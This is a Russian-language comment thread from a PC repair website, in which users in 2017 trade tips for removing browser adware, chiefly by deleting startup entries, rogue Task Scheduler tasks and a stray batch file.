  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Здравствуйте! Сегодня вечером выйдет подробная статья на эту тему.

<
Valeriy

7 февраля 2017 15:36

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Ничего не помогло с выше перечисленого!

<
admin

7 февраля 2017 17:12

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот эта статья вам поможет

http://remontcompa.ru/1138-kak-ubrat-reklamu-v-brauzere.html

<
anton

2 марта 2017 19:01

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

господа. выполнить - автозагрузка - zaxar - отключаете

ищите по пути в автозагрузке эту дичь - удаляйте

пользователи - админ - localrow - удаляете

поиск по всему пк - удаляете

 

вот статья об автозагрузке

http://remontcompa.ru/1116-avtozagruzka-v-windows-10.html

<
Murdock217

5 марта 2017 08:50

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Чаще всего вся соль проблемы оказывается в планировщике заданий. Аналогичная ситуация: подцепил фигню надоедливую, хром мозг вынес, открывается сам по себе. Удалял, проверял, устанавливал, а он ну ни в какую не хочет успокаиваться. Залез в планировщик, а там левая задача под названием hfullinform/alainsm. Такую я подцепил. Удалил ее, установил хром, и, о Боже!, она перестала открываться)

<
admin

5 марта 2017 18:22

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Согласен с вами насчёт планировщика задач, поэтому очень подробно всё написал о нём в этой статье

http://remontcompa.ru/1138-kak-ubrat-reklamu-v-brauzere.html

<
Сергий

14 марта 2017 11:02

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

 Хотелось бы добавить кое-что про планировщик заданий. Я тоже удалял всю хрень не нужную, но снова в интернете наступал на всякие какашки… Потом надоело удалять и наконец-то решил напрячься и подумать об этом. Вот что придумал:

1. Все вири ищут свои копии на локальных машинах. Но вряд ли они проверяют настройки. Поэтому можно вредоносные задания просто отключать, а не удалять.
2. Можно ещё поставить год запуска, например, 2099. И пусть эта собака серая ждёт своего времени. По мерка Вселенной — это мгновение, всего чуть больше 80-ти лет. На вредоносной задаче щёлкаем 2 раза. В открывшемся окне на вкладке "Триггеры" жмём кнопку "Изменить", затем щёлкаем на годе, когда зверюга должна запускаться, и вводим другой год.

 

Я у мну сделал именно так. Вирь ждёт 2099 года. А там либо я помру, либо мой комп сдохнет, либо просто переобуюсь по случаю.

<
admin

14 марта 2017 12:49

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Спасибо за информацию.

<
Serius

20 марта 2017 18:17

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Заходим сюда C:\Documents and Settings\Admin\Application Data\Browsers и удаляем файл chrome.bat.ехе и все будет работать как и прежде.

<
Vaprosik.ru

8 апреля 2017 19:36

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Я всё зделал так как ты сказал, но я не нашёл батник!

Убрал галочки где надо (в параметре папок), и кароч у меня не показывает батник, перезапускал путь несколько раз раз и ничего, подскажи плиз, вылезает обьявление тип про вулкан и ещё могут!

<
admin

9 апреля 2017 07:02

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот эта подробная статья вам поможет

http://remontcompa.ru/1138-kak-ubrat-reklamu-v-brauzere.html

<
Novoross

20 апреля 2017 21:23

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

У меня в браузере Iron на свежеустановленной винде периодически вылазила реклама. Раз в полчаса браузер включался, на сайт notbadnews, с него на второй, с него на третий и с них или на казино вулкан или на шарашкину букмейкерскую контору. В расширениях чисто, в реестре чисто, доктор веб сказал - я умываю руки. Переустановка браузера не спасала.

 

И что же меня спасло? Как указано в одном из коментов выше - эта бяка прописалась в планировщике заданий!

<
Олег к

12 мая 2017 11:37

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

+1 планировщик
слева выделить "библиотека планировщика"

откроется список

узнать, что это именно то- правой кнопкой на задание-выполнить
если оно, правой кнопкой- удалить

<
Алиса

13 мая 2017 11:12

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Доброго времени суток! Хром перестал открываться. Нашла Касперским вирусы, удалила батники, которые нашла сама. Переустанавливала браузер с удалением всех папок хром вручную. И все равно не запускается. Неужели выход-переустановка винды?

Назад Вперед

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Вопрос:
Сколько будет 2+3=?
Ответ:*
НАВИГАЦИЯ

 

 

 

Архив новостей Июнь 2017 (12)
Май 2017 (22)
Апрель 2017 (35)
Март 2017 (14)
Февраль 2017 (12)
Январь 2017 (6)
^
Копирование материалов сайта разрешается только с гиперссылкой на источник